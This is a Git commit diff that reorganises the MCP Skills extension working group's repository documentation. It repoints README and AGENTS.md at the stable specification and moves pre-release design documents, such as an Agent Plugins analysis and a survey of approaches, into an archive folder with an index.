Clean and and re-organize repo docs (#146)
* docs: point README and AGENTS.md at the released spec and official docs SEP-2640 is Final and the extension ships from specification/stable/skills.mdx, so the README now leads with a Specification section linking the spec file, the official docs page (modelcontextprotocol.io/extensions/skills/overview), the published SEP, and the client matrix. The experimental banner is replaced with a note that docs/ holds working documents; the charter, pulls, and issues links move off the redirecting experimental-ext-skills / charter URLs. AGENTS.md no longer names the SEP PR as the source of truth; it points agents at the stable spec page and describes the decision-log flow against that file. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: accepted spec changes land in a draft revision, not the stable file The stable specification is a released snapshot. README and AGENTS.md now say accepted decision-log proposals go into a draft revision that ships as a new release, matching the ext-tasks specification layout. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: move pre-release design documents to docs/archive SEP-2640 is Final, so docs/ now holds only living working documents. Eight historical documents move to docs/archive with an index explaining what each was and what superseded it: the SEP baseline copy, why-and-when, use-cases, approaches, skill-uri-scheme, glossary, client-mcp-support (superseded by the official client matrix), and agent-plugins-analysis. Files the published SEP links to by path (decisions, experimental-findings, open-questions, problem-statement, rationale, related-work, skill-meta-keys) stay in place so those links keep working. Cross-links are rewritten and verified; the README contents table is trimmed to match. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: archive open-questions and skill-meta-keys Both are pre-release documents whose outcomes live in the decision log and the specification. The published SEP links to them by path; a companion change in modelcontextprotocol/modelcontextprotocol repoints those links. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: fix sibling links inside archived open-questions and skill-meta-keys Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: keep only the decision log and rationale in docs/ threat-model, experimental-findings, findings-template, problem-statement, and related-work move to docs/archive with index rows. The candidates tracker and the archived client-support survey are removed in favor of the official extension client matrix, and links to them are repointed there. README drops the Why and Problem Statement sections, which duplicate the SEP's Motivation and the official overview page. CONTRIBUTING routes new implementation findings to GitHub issues. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: fix sibling links inside newly archived documents Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: add a concise implementations list One table each for servers/SDKs and hosts, one line per entry, replacing the retired candidates tracker and the related-work implementation tables. Seeded from those plus PR #141 and issue #144. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: put tracking links in the Status column of the implementations list Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: add a vendor/community category to the implementations list Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: replace the interim reference package with the TypeScript SDK row The @olaservo/ext-skills package is retired in favor of first-class skills APIs in the TypeScript SDK (typescript-sdk#2798, phase 1 in #2818). The archived related-work page now points at implementations.md for current information. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: drop pre-SEP rows from the implementations list They are already recorded in the archived related-work page; the list now points there instead. FastMCP stays because its row tracks the migration to v1. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: add official SDK progress, Tachyon, and Inspector 2.6.0 to implementations From the WG Discord channel and the SDK repos as of 2026-09-15: Go, TypeScript, Python, and C# SDKs all have open SEP-2640 PRs (Go passes conformance); the conformance suite merged; Inspector 2.6.0 shipped skills verification; Tachyon reports a server implementation. Adds an "in progress" status for open PRs. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: track Goose host support via the official issue Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: only tag community rows in the implementations list Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: tag MCP-project rows as official in the implementations list Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: split the implementations list into SDKs, servers, and hosts Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs: add MCPJam Inspector to hosts Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * Revise implementations table format and content Updated the implementations table to include language and status columns. Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> * Correct links and clarify documentation references Updated links to SEP-2640 and clarified document references. Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --------- Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com> Co-authored-by: Sambhav Kothari <sambhavs.email@gmail.com> Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
This commit is contained in:
parent
d866efdba2
commit
5adfff5952
23 changed files with 115 additions and 305 deletions
13
AGENTS.md
13
AGENTS.md
|
|
@ -1,16 +1,17 @@
|
|||
## What to reference as a source
|
||||
|
||||
**IMPORTANT**: The v1 SEP source of truth is the PR, not this repository. The specification text for the Skills Extension lives on **[SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640)** (`modelcontextprotocol/modelcontextprotocol`, branch [`sep/skills-extension`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/sep/skills-extension/seps/2640-skills-extension.md)). That PR is authoritative.
|
||||
**IMPORTANT**: The source of truth for the Skills extension (`io.modelcontextprotocol/skills`) is [`specification/stable/skills.mdx`](specification/stable/skills.mdx) in this repository. It is the normative text of the extension, written against base protocol revision `2026-07-28`, and is what the official documentation at [modelcontextprotocol.io/extensions/skills/overview](https://modelcontextprotocol.io/extensions/skills/overview) summarizes.
|
||||
|
||||
[`docs/sep-draft-skills-extension.md`](docs/sep-draft-skills-extension.md) is a verbatim copy of the v1 baseline, synced from that branch at a commit pinned in the file's header. It exists so Working Group discussion, meeting notes, and decision records can quote and link stable text.
|
||||
[SEP-2640](https://modelcontextprotocol.org/seps/2640-skills-extension) is the accepted proposal behind the extension (Status: Final; [PR #2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) merged 2026-09-13). [`docs/archive/sep-draft-skills-extension.md`](docs/archive/sep-draft-skills-extension.md) is a copy of that SEP text pinned at the commit named in its header, kept so Working Group discussion, meeting notes, and decision records can quote and link stable text. It is a historical baseline, not the current spec.
|
||||
|
||||
- **Do not answer questions about what the spec says from this repository alone.** The copy is only as current as its last sync — check the pinned commit in the file header against the canonical branch before relying on it.
|
||||
- **Answer questions about what the extension requires from `specification/stable/skills.mdx`**, not from the SEP copy or the `docs/` folder. Where the spec page and the SEP differ, the [decision log](docs/decisions.md) records why (see the 2026-09-08 entry).
|
||||
- The `docs/` folder holds design history, rationale, experimental findings, and trackers. Treat it as context, not as normative text.
|
||||
|
||||
## Proposing changes beyond v1
|
||||
## Proposing changes to the specification
|
||||
|
||||
Changes beyond v1 are proposed here rather than added to the upstream SEP. The vehicle is a dated entry in [`docs/decisions.md`](docs/decisions.md) with `**Status:** Proposed`, in the ADR-lite format used throughout that file (Status / Context / Decision / Rationale / References) — the PR carrying that entry is the proposal.
|
||||
Changes are proposed here. The vehicle is a dated entry in [`docs/decisions.md`](docs/decisions.md) with `**Status:** Proposed`, in the ADR-lite format used throughout that file (Status / Context / Decision / Rationale / References) — the PR carrying that entry is the proposal.
|
||||
|
||||
Once a proposal is accepted, the resulting spec text is applied to the baseline copy and that section is marked with a pointer back to its record. A section without such a marker is v1 as it stands upstream.
|
||||
`specification/stable/skills.mdx` is a released snapshot and is not edited in place. Once a proposal is accepted, the resulting text lands in a draft revision of the specification (a `draft/` directory alongside the released text, following the layout used by [ext-tasks](https://github.com/modelcontextprotocol/ext-tasks/tree/main/specification)), the entry's status is updated to Accepted, and the draft ships as a new stable revision when released.
|
||||
|
||||
When a decision supersedes or amends an earlier one, add a forward pointer to the earlier entry's `**Status:**` line rather than rewriting the entry. The log is an auditable trace of the group's reasoning over time, not a snapshot of current state.
|
||||
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@ This Working Group welcomes contributions from anyone interested in skills distr
|
|||
|
||||
- Joining discussions in the [#skills-over-mcp-wg Discord channel](https://discord.com/channels/1358869848138059966/1464745826629976084) (info on joining the Discord server [here](https://modelcontextprotocol.io/community/communication#discord))
|
||||
- Opening or commenting on [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg) in the main MCP repo
|
||||
- Sharing experimental findings from your own implementations
|
||||
- Sharing findings from your own implementations as GitHub issues
|
||||
- Contributing to documentation and pattern evaluation
|
||||
|
||||
## Communication Channels
|
||||
|
|
@ -15,7 +15,7 @@ This Working Group welcomes contributions from anyone interested in skills distr
|
|||
| :--- | :--- | :--- |
|
||||
| [Discord #skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084) | Quick questions, coordination, async discussion | Best effort |
|
||||
| [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg) | Meeting notes, long-form technical proposals, experimental findings | Weekly triage |
|
||||
| This repository | Living reference for approaches, findings, and decisions | Updated after meetings |
|
||||
| This repository | The specification, decision log, and design rationale | Updated after meetings |
|
||||
|
||||
## Coordination with the Agent Skills Spec
|
||||
|
||||
|
|
@ -41,15 +41,14 @@ Outputs include:
|
|||
|
||||
## Contribution Guidelines
|
||||
|
||||
### Documenting Approaches and Findings
|
||||
### Sharing Implementation Findings
|
||||
|
||||
When adding experimental findings or new approaches:
|
||||
Findings from implementations are shared as [GitHub issues](https://github.com/modelcontextprotocol/ext-skills/issues) rather than as documents in this repository. The pre-v1 findings and their template are frozen in [`docs/archive/`](docs/archive/). When reporting a finding:
|
||||
|
||||
- Start from the [experimental findings template](docs/findings-template.md) when adding a finding
|
||||
- Include enough detail for others to reproduce or evaluate
|
||||
- Note which clients and servers were tested
|
||||
- Note which clients and servers were tested, and the specification revision
|
||||
- Be explicit about what worked, what didn't, and what remains untested
|
||||
- Write "Not documented" for missing historical details instead of inferring them
|
||||
- Write "Not documented" for missing details instead of inferring them
|
||||
- Attribute community input with GitHub handles and link to the source where possible
|
||||
|
||||
### Community Input
|
||||
|
|
|
|||
60
README.md
60
README.md
|
|
@ -1,51 +1,37 @@
|
|||
# Skills Over MCP Working Group
|
||||
|
||||
> ⚠️ **Experimental** — This repository is an incubation space for the Skills Over MCP Working Group. Contents are exploratory and do not represent official MCP specifications or recommendations.
|
||||
This repository is the home of the official [Model Context Protocol](https://modelcontextprotocol.io) **Skills extension** (`io.modelcontextprotocol/skills`), based on [SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension), and of the Skills Over MCP Working Group's working documents.
|
||||
|
||||
**📄 SEP-2640 (Skills Extension):** [modelcontextprotocol#2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) — **the source of truth for the v1 spec text.** Review and comments belong on the PR. The copy in this repo is a synced baseline for discussion; see [`docs/sep-draft-skills-extension.md`](docs/sep-draft-skills-extension.md).
|
||||
**Charter:** [modelcontextprotocol.io/community/skills-over-mcp/charter](https://modelcontextprotocol.io/community/skills-over-mcp/charter) — mission, scope, membership, active work items, and success criteria.
|
||||
## Specification
|
||||
|
||||
| Resource | Where |
|
||||
| :--- | :--- |
|
||||
| **Specification (source of truth)** | [`specification/stable/skills.mdx`](specification/stable/skills.mdx) — the extension spec, written against base protocol revision `2026-07-28` |
|
||||
| **Official documentation** | [modelcontextprotocol.io/extensions/skills/overview](https://modelcontextprotocol.io/extensions/skills/overview) — condensed overview with examples and message flow |
|
||||
| **SEP-2640: Skills Extension** | [modelcontextprotocol.io/seps/2640-skills-extension](https://modelcontextprotocol.io/seps/2640-skills-extension) — the accepted SEP (Status: Final; [PR #2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) merged 2026-09-13) |
|
||||
| **Client support** | [Extension client matrix](https://modelcontextprotocol.io/extensions/client-matrix) — which clients implement the extension |
|
||||
|
||||
The stable specification is a released snapshot and is not edited in place. Changes are proposed as dated entries in the [decision log](docs/decisions.md) (see [AGENTS.md](AGENTS.md) for the process) and, once accepted, land in a draft revision of the specification that ships as a new release.
|
||||
|
||||
> ℹ️ The [`docs/`](docs/) folder holds the [decision log](docs/decisions.md), the [design rationale](docs/rationale.md), and the [implementations list](docs/implementations.md). Earlier design documents, findings, and trackers are frozen in [`docs/archive/`](docs/archive/). None of it is part of the specification.
|
||||
|
||||
**Charter:** [modelcontextprotocol.io/community/working-groups/skills-over-mcp](https://modelcontextprotocol.io/community/working-groups/skills-over-mcp) — mission, scope, membership, active work items, and success criteria.
|
||||
**Project board:** [Skills Over MCP WG](https://github.com/orgs/modelcontextprotocol/projects/38/views/1)
|
||||
**Meeting notes:** [Skills Over MCP WG discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg)
|
||||
**Discord:** [#skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084)
|
||||
**Open work:** [Pull requests](https://github.com/modelcontextprotocol/experimental-ext-skills/pulls) — proposals, decisions, implementations, and other in-flight contributions welcome.
|
||||
|
||||
## Why Skills Over MCP?
|
||||
|
||||
MCP servers give agents tools, but tools alone are insufficient for complex workflows — tool descriptions tell an agent *what* a tool does, not *how to orchestrate* multiple tools to achieve a goal. Skills bridge this gap. They are structured "how-to" knowledge: multi-step workflows, conditional logic, and orchestration instructions that can run to hundreds of lines.
|
||||
|
||||
Skills are *context*, and MCP is a *context protocol*. Agents already connect to remote services over MCP to get tools — they can get the know-how to use those tools through the same channel. A remote MCP server can serve both its tools and the instructions for using them together, as a single atomic unit. This also enables automatic discovery (connect to a server, find its skills), dynamic updates (server-side changes flow without reinstall), multi-server composition (skills orchestrating tools across servers), and enterprise distribution (RBAC, multi-tenant, version-adaptive content) — all through infrastructure MCP servers already provide.
|
||||
|
||||
See [why-and-when.md](docs/why-and-when.md) for the full value proposition and a guide for when MCP distribution applies vs. simpler alternatives. For an accessible external framing of the premise, see Angie Jones's ["Skills Over MCP"](https://aaif.io/blog/skills-over-mcp/) (Agentic AI Foundation) — "ship the manual with the product."
|
||||
|
||||
## Problem Statement
|
||||
|
||||
Native "skills" support in host applications demonstrates demand for rich workflow instructions, but there's no convention for exposing equivalent functionality through MCP primitives. Current limitations include:
|
||||
|
||||
- **Server instructions load only at initialization** — new or updated skills require re-initializing the server
|
||||
- **Complex workflows exceed practical instruction size** — some skills require hundreds of lines of markdown with references to bundled files
|
||||
- **No discovery mechanism** — users installing MCP servers don't know if there's a corresponding skill they should also install
|
||||
- **Multi-server orchestration** — skills may need to coordinate tools from multiple servers
|
||||
|
||||
See [problem-statement.md](docs/problem-statement.md) for full details.
|
||||
**Open work:** [Pull requests](https://github.com/modelcontextprotocol/ext-skills/pulls) and [issues](https://github.com/modelcontextprotocol/ext-skills/issues) — proposals, decisions, implementations, and other in-flight contributions welcome.
|
||||
|
||||
## Repository Contents
|
||||
|
||||
| Document | Description |
|
||||
| :--- | :--- |
|
||||
| [Problem Statement](docs/problem-statement.md) | Current limitations and gaps |
|
||||
| [Why Skills Over MCP?](docs/why-and-when.md) | Value proposition and decision guide |
|
||||
| [Use Cases](docs/use-cases.md) | Key use cases driving this work |
|
||||
| [Approaches](docs/approaches.md) | Approaches being explored (not mutually exclusive) |
|
||||
| [SEP-2640: Skills Extension](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) | Proposal to serve skills over MCP via the Resources primitive. The v1 baseline text is kept at [`docs/sep-draft-skills-extension.md`](docs/sep-draft-skills-extension.md), synced from the canonical SEP. Comments and review of v1 happen on the PR; changes beyond v1 are proposed as entries in the [decision log](docs/decisions.md). |
|
||||
| [Open Questions](docs/open-questions.md) | Unresolved questions with community input (see also [issues](https://github.com/modelcontextprotocol/experimental-ext-skills/issues) and [meeting notes](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg)) |
|
||||
| [Experimental Findings](docs/experimental-findings.md) | Results from implementations and testing |
|
||||
| [Related Work](docs/related-work.md) | SEPs, implementations, and external resources |
|
||||
| [Threat Model](docs/threat-model.md) | Threat model for skills served over MCP (SEP-2640), with delivery-model recommendations and an archive appendix |
|
||||
| [Skills Extension Candidates](docs/skills-extension-candidates.md) | MCP servers, dev tools, SDKs, and skills repositories that are candidates for adopting the skills extension |
|
||||
| [Client MCP Support](docs/client-mcp-support.md) | Survey of model-facing MCP resource loading and SEP-2640 support across open-source clients |
|
||||
| [Decision Log](docs/decisions.md) | Record of key decisions with context and rationale |
|
||||
| [Rationale](docs/rationale.md) | Design rationale for SEP-2640's Resources-based skills extension |
|
||||
| [Glossary](docs/glossary.md) | Working definitions for key Skills Over MCP terms |
|
||||
| [Specification](specification/stable/skills.mdx) | The Skills extension specification (`io.modelcontextprotocol/skills`) — source of truth |
|
||||
| [Decision Log](docs/decisions.md) | ADR-lite record of the group's decisions, and the vehicle for proposing changes to the specification |
|
||||
| [Rationale](docs/rationale.md) | Design rationale for the Resources-based extension |
|
||||
| [Implementations](docs/implementations.md) | Servers, SDKs, and hosts that serve or consume skills over MCP |
|
||||
| [Archive](docs/archive/) | Pre-release design documents, findings, and trackers, frozen when SEP-2640 was marked Final |
|
||||
|
||||
For the case for serving skills over MCP, see the [official overview](https://modelcontextprotocol.io/extensions/skills/overview) and the Motivation section of [SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension).
|
||||
|
||||
## Contributing
|
||||
|
||||
|
|
|
|||
19
docs/archive/README.md
Normal file
19
docs/archive/README.md
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
# Archive
|
||||
|
||||
Documents the Working Group produced while designing the Skills extension, frozen once [SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension) was marked Final (2026-09-13). They are kept for history and so the [decision log](../decisions.md) can link to the material it cites. Nothing here is normative; the specification is [`specification/stable/skills.mdx`](../../specification/stable/skills.mdx).
|
||||
|
||||
| Document | What it was | Superseded by |
|
||||
| :--- | :--- | :--- |
|
||||
| [SEP-2640 baseline copy](sep-draft-skills-extension.md) | Verbatim copy of the SEP text pinned at an August 2026 draft commit, kept so discussion could quote stable text | The published [SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension) and the [stable specification](../../specification/stable/skills.mdx) |
|
||||
| [Why Skills Over MCP?](why-and-when.md) | Value proposition and decision guide written while the approach was being argued for | SEP-2640 Motivation; the README |
|
||||
| [Use Cases](use-cases.md) | Use cases that drove the design | SEP-2640 Motivation |
|
||||
| [Approaches](approaches.md) | Map of the six approaches considered before converging on the convention approach | Decision log entries 2026-02-21 and 2026-02-26; SEP-2640 |
|
||||
| [Skill URI Scheme Proposal](skill-uri-scheme.md) | Survey of `skill://` URI patterns across early implementations and the proposed convention | Decision log 2026-04-16 (superseded in part by the 2026-07-16 v1 scope entry); the specification's URI rules |
|
||||
| [Open Questions](open-questions.md) | Early open questions with community input, gathered before the SEP existed | Decision log entries and the specification; remaining post-v1 items are tracked in issues ([#131](https://github.com/modelcontextprotocol/ext-skills/issues/131), [#126](https://github.com/modelcontextprotocol/ext-skills/issues/126)) |
|
||||
| [Using `_meta` for Skill Resources](skill-meta-keys.md) | Draft guidelines for `_meta` keys on skill resources | Decision log 2026-03-16; the specification reserves the `io.modelcontextprotocol.skills/` prefix and defines no keys |
|
||||
| [Glossary](glossary.md) | Working definitions used across the design documents | The terms as defined in the specification and the [Agent Skills specification](https://agentskills.io/specification) |
|
||||
| [Agent Plugins x Skills Over MCP](agent-plugins-analysis.md) | Analysis of how the Agent Plugins packaging format relates to the extension | Point-in-time analysis; no successor document |
|
||||
| [Problem Statement](problem-statement.md) | The gaps the extension set out to address | SEP-2640 Motivation |
|
||||
| [Related Work](related-work.md) | SEPs, implementations, and external resources gathered during design | The [extension client matrix](https://modelcontextprotocol.io/extensions/client-matrix) for client support; implementation links otherwise unmaintained |
|
||||
| [Experimental Findings](experimental-findings.md) | Results from prototype implementations, mostly against pre-v1 drafts ([template](findings-template.md)) | The conformance suite; new findings are shared as GitHub issues |
|
||||
| [Threat Model](threat-model.md) | Threat model for skills served over MCP, written against the draft SEP, with the archive-delivery appendix | The specification's Security Considerations, which made the host obligations normative |
|
||||
42
docs/archive/agent-plugins-analysis.md
Normal file
42
docs/archive/agent-plugins-analysis.md
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
# Agent Plugins x Skills Over MCP
|
||||
|
||||
## Summary
|
||||
|
||||
Agent Plugins 1.0 is a portable *packaging* format — a directory with a `plugin.json` manifest whose two component types are Agent Skills (a `skills/` directory) and MCP server configurations (`mcp.json`). It deliberately layers on top of the Agent Skills spec and MCP rather than redefining either, so it is overwhelmingly a **complement** to SEP-2640: the SEP moves skills over the wire at runtime; Agent Plugins moves them onto disk at install time. The two even compose — a plugin's `mcp.json` can point at a server that itself serves skills under the extension.
|
||||
|
||||
Where they may end up competing is not the format but the early adoption pattern OpenAI just demonstrated. OpenAI's plugins implement a subset of SEP-2640 as the ingestion pipeline for plugin submission: the submission portal's Scan Tools step has been [observed in practice](https://community.openai.com/t/scan-tools-fetches-mcp-served-skills-sep-2640-but-mcp-inspect-returns-skills-null-skills-never-imported-into-draft/1389064) calling `skills/list` + `skills/get` + `resources/read` and verifying SHA-256 digests, producing a static snapshot. If that pattern becomes the norm, skills-over-MCP serves as a publishing protocol feeding static packages rather than a runtime capability, which is a narrower pitch than the SEP makes as a whole.
|
||||
|
||||
## Does Agent Plugins make SEP-2640 unnecessary?
|
||||
|
||||
No, because they are solving different problems.
|
||||
|
||||
Agent Plugins defines what an installed plugin package looks like; distribution, integrity, provenance, and trust are all out of scope for the current spec.
|
||||
|
||||
Skills over MCP defines how skill bytes move, how a host verifies they arrived intact, and how user approval binds to specific content. As one early example, OpenAI's plugin ingestion consumes SEP-2640 methods to build its snapshots. In theory, anything a plugin delivers could be delivered over MCP.
|
||||
|
||||
One use case a snapshot can't serve is enterprise-internal distribution and management: delivering the current version of a skill to the people currently entitled to it. Per-user or per-role catalogs, skills behind auth, and revocation when access changes all require a live channel.
|
||||
|
||||
## What Agent Plugins 1.0 is
|
||||
|
||||
- An open spec at [agentplugins/agent-plugins-spec](https://github.com/agentplugins/agent-plugins-spec), published as version 1.0.0.
|
||||
- §7.1 defers entirely to the [Agent Skills specification](https://agentskills.io/specification) for the skill format — the same source of truth SEP-2640 delegates to. Agent Plugins defines only *discovery within a package*, not the format or how clients expose skills.
|
||||
- Notably absent from v1, all punted to [FUTURE_CONSIDERATIONS.md](https://github.com/agentplugins/agent-plugins-spec/blob/main/FUTURE_CONSIDERATIONS.md): trust/permission model, sandboxing, provenance/signatures, content integrity, secrets handling, enterprise controls, dependencies. Distribution and installation mechanics are also out of scope — v1 defines the directory format only.
|
||||
|
||||
## The layer map
|
||||
|
||||
| Layer | Spec | Concern |
|
||||
| :--- | :--- | :--- |
|
||||
| Format | [Agent Skills](https://agentskills.io/specification) | What a skill *is* — SKILL.md, frontmatter, progressive disclosure |
|
||||
| Wire | [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) | Skills served over the wire — discovery (`skills/list`/`skills/get`), retrieval, integrity, consent binding. Hosts consume this either read-through at runtime or by materializing to disk |
|
||||
| Disk | [Agent Plugins](https://github.com/agentplugins/agent-plugins-spec) | Skills + MCP configs packaged for client-side install — a static snapshot; how the package is distributed is out of scope |
|
||||
|
||||
## Where they complement
|
||||
|
||||
1. **Different layers, literal composition.** A plugin's `mcp.json` can configure a server that advertises skills via `io.modelcontextprotocol/skills`. And skills-over-MCP is the natural *supply chain* into the package format: OpenAI's docs pitch importing skills from MCP precisely so developers can "version and deploy their instructions and supporting files with the server." The SEP's final-segment-equals-`name` rule makes the mapping from a `skill://` catalog to a plugin `skills/` directory mechanical.
|
||||
2. **Shared format foundation.** Both defer to the Agent Skills spec, so a skill authored once is valid in both channels without translation.
|
||||
3. **Complementary gaps.** Agent Plugins v1 has no integrity, provenance, or distribution story; SEP-2640 already has the content-integrity and identity machinery.
|
||||
|
||||
## Where they may compete
|
||||
|
||||
1. **The static skills case.** A vendor with a fixed skill set can ship a plugin directory and skip implementing the extension entirely — provided a distribution channel for the package already exists and staleness between releases is acceptable.
|
||||
2. **The static-subset precedent could become the default by adoption.** The first major implementer (OpenAI plugins) treats live skill delivery as out of scope. Later implementers may follow this route as the default. The SEP's distinctive value — skills that stay in sync with a live server, dynamic per-tenant catalogs, skills behind auth, remote-only servers with no filesystem install channel — needs implementers to actually exercise it.
|
||||
160
docs/archive/approaches.md
Normal file
160
docs/archive/approaches.md
Normal file
|
|
@ -0,0 +1,160 @@
|
|||
# Approaches Being Explored
|
||||
|
||||
> ℹ️ The design space has largely converged on the convention approach (Approach 6), now formalized as [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640). This document is kept as a map of the alternatives that were considered; for the current direction, see the SEP.
|
||||
|
||||
> These are not mutually exclusive solutions.
|
||||
|
||||
## Design Principles
|
||||
|
||||
Several design considerations are emerging from community discussion:
|
||||
|
||||
- **MCP is fundamentally about context, not just tools.** Skills are part of a broader challenge around context-as-resources discoverability and standardization of client host behavior. Framing skills as context-as-resources avoids creating artificial hierarchies between skills and other MCP primitives.
|
||||
- **Don't be too prescriptive about client host behavior.** Client hosts may want to innovate on how skills are utilized (e.g., progressive disclosure) and what they can even *be*. The goal is uniform discovery and consumption patterns from the server author's perspective, while leaving room for client-side innovation.
|
||||
- **Don't assume how tool paradigms will evolve.** The conceptual surface of skills shouldn't bake in assumptions about how tools develop. That doesn't preclude skills being implemented as a well-known tool, but the design should not couple skills to any particular tool evolution path.
|
||||
- **Let the primitive choice follow from the use case.** The answer may not be "resources" or "new primitive" — it may be both, depending on the interaction pattern. Some skills are context for the model. Some are context for the human. Some are both. The delivery mechanism should support that range. ([See related thread on SEP 2076](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076#discussion_r2736299627))
|
||||
- **Minimize ecosystem complexity.** The broader AI tooling ecosystem is experiencing complexity fatigue — too many overlapping concepts (servers, skills, plugins, hooks, agents) erode credibility and adoption. Whatever approach the WG recommends should reuse existing MCP primitives where possible and only introduce new surface area when there's a clear case that existing primitives can't serve the need. ([See related issue](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/14))
|
||||
- **Skills are context, and the pattern extends beyond workflows.** The skill format and progressive disclosure pattern apply equally to organizational knowledge and in-context learning — not just tool-usage workflows.
|
||||
|
||||
## Central Tension: Convention vs. Protocol Extension
|
||||
|
||||
The approaches below span a spectrum. At one end, skills become a first-class MCP primitive with dedicated protocol methods (Approach 1). At the other, existing primitives are used with documented conventions (Approach 6). A key question for this WG is whether convention can prove patterns before standardization — or whether the ecosystem needs protocol-level support to achieve reliable interoperability. These are not mutually exclusive; convention work can inform and de-risk a future protocol extension.
|
||||
|
||||
**Current status:** The convention approach (Approach 6) was pursued and quickly evolved into a formal Extensions Track SEP ([#69](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69)), building on convergence across 4+ independent `skill://` implementations. The SEP uses existing Resources primitives with zero protocol changes, positioning it between pure convention and a new primitive. See [#75](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/75) for tracking. Submitted to the MCP spec as [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) on 2026-04-23.
|
||||
|
||||
## 1. Skills as Distinct MCP Primitives
|
||||
|
||||
Add Agent Skills as a first-class, discoverable primitive in MCP. A skill is a named bundle of instructions plus references to tools, prompts, and resources that together teach an agent how to perform a domain-specific workflow.
|
||||
|
||||
**Proposal:** [SEP-2076](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076)
|
||||
|
||||
**Author:** [Yu Yi](https://github.com/erain)
|
||||
|
||||
**Key elements:**
|
||||
|
||||
- New protocol methods: `skills/list` and `skills/get`
|
||||
- A `skills` server capability
|
||||
- A `notifications/skills/list_changed` notification
|
||||
- Progressive disclosure: clients load skill summaries at startup, fetch full instructions on demand
|
||||
- Mapping to existing SKILL.md format
|
||||
|
||||
**Status:** Closed on 2026-02-24 after the WG decided to first explore a convention-based approach using existing primitives. See [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) for the resulting Resources-based proposal.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "My main motivation is: we have so many MCP servers already available, how can we leverage them to distribute Skills?" — [Yu Yi](https://github.com/erain)
|
||||
|
||||
## 2. Skills as Registry Metadata
|
||||
|
||||
Add skill references to MCP registry entries so users know to install associated skills alongside servers.
|
||||
|
||||
**Implementations:**
|
||||
- [Ozz](https://github.com/JAORMX) started a discussion around [skills.json format proposal](https://github.com/modelcontextprotocol/registry/discussions/895)
|
||||
- NimbleBrain has implemented this via a `skill` field in registry `_meta`, supporting `.skill` artifact bundles (ZIP containing SKILL.md + manifest.json).
|
||||
- https://github.com/NimbleBrainInc/skills
|
||||
- [registry.nimbletools.ai](https://registry.nimbletools.ai/)
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "We view skills as an opportunity to use them as both a standalone (general-purpose capabilities) & MCP-paired (tool-specific guidance). For the main registry, the binding could be softer: optional fields like suggestedSkills or recommendedSkills rather than definitive pairing, since skill authorship is often decoupled from server authorship." — [Mat Goldsborough](https://github.com/mgoldsborough)
|
||||
|
||||
## 3. Skills as Tools and/or Resources
|
||||
|
||||
Examples:
|
||||
|
||||
- Expose skills via tools like `list_skills` and `read_skills`. Server instructions can direct the agent to call the skill tool first.
|
||||
- Expose skills as resources (e.g. skill://...), which can also be exposed through tools
|
||||
|
||||
**See also:** [#41](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/41) — Server-side reference implementation, [#55](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/55) — Recommended _meta keys for skill resources
|
||||
|
||||
**Implementations:**
|
||||
|
||||
- [skilljack-mcp](https://github.com/olaservo/skilljack-mcp)
|
||||
- [skills-over-mcp](https://github.com/keithagroves/skills-over-mcp)
|
||||
- [my-cool-proxy](https://github.com/karashiiro/my-cool-proxy)
|
||||
|
||||
